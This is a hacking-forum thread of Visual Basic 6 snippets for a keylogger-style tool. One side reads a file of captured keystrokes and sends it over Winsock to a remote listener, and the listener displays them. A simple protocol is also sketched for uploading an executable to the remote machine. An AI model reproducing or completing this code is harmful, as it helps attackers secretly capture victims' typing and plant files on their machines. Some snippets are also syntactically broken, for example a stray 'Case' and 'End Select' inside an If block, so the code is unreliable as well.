Foro de elhacker.net

Dim buf As String * 1024
Dim Todox As String
Open "C:\Archivo.txt" For Binary As #2
    Do While Not EOF(2)
        DoEvents
        Get #2, , buf
        Todox = "[KEYSINFO]" & Todox & buf
    Loop
Close
Form1.Winsock1.SendData Todox

Do While Not EOF(2)

Dim Texto As String
Dim Identificar As String
Winsock1.GetData Texto

Identificar = Left(Texto, 6)

If Identificar = "Teclas" Then
    Case "Teclas"
        Archivo = Archivo & Texto
        If Len(Archivo) >= Largo Then
            RichTextBox1.Text = Archivo
            Largo = 0
        End If
    End Select
End If

Dim buf As String * 1024
Dim Todox As String
Open "C:\Archivo.txt" For Binary As #1
    Do While EOF(1) = False
        DoEvents
        Get #1, , buf
        Todox = Todox & buf
    Loop
Close #1
Winsock1.SendData "Teclas" & Todox

//Suponiendo el flujo normal de transicion:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData True
Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30
Servidor: SendData true
Cliente: manda todos los bytes de manera Compulsiva hasta que termina..
Servidor: Contara los bytes cuando llegue a 102400 segun lo que el cliente a dicho que enviara con el comando InfoData o que haya un retardo de 30 segundos que no se envien datos terminara de resivir los bytes y procedera a el siguiente comando:
Servidor: ReportData c:\|filenew.exe|102400
//Termina.

//Suponiendo que el servidor no permite la resepcion de transferencias:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData False
//Termina.

//Otro caso peculiar de este protocolo seria que terminara hasta aqui:
//Suponiendo el flujo normal de transicion:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData True
Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30
Servidor: SendData false //si no hubiera espacio en disco, ya existe el archivo, claro este deberia ser mejor con algun numero que representara el estado por el cual no a seguido en lugar de un true y false ( 0 = Ok, 1=Archivoexistente, 2=Espacio en disco insuficiente, etc... )
//Termina.

dim Identificador as string
dim Datos as string

Winsock1.GetData Datos

Identificador = Left(Datos, 8)
[b]Datos = Right(Datos, Len(Datos) - 8)[/b] 'Le borro a "Datos" los primeros 8 digitos que corresponden al indentificador

If Identificador = "*Teclas*" Then
        Archivo = Archivo & Datos
        RichTextBox1.Text = Archivo
End If

Dim buf As String * 1024
Open App.path & "\Archivo.txt" For Binary As #3
    Do While EOF(3) = False
        DoEvents
        Get #3, , buf
        Winsock1.SendData "*Teclas*" & buf
    Loop
Close #3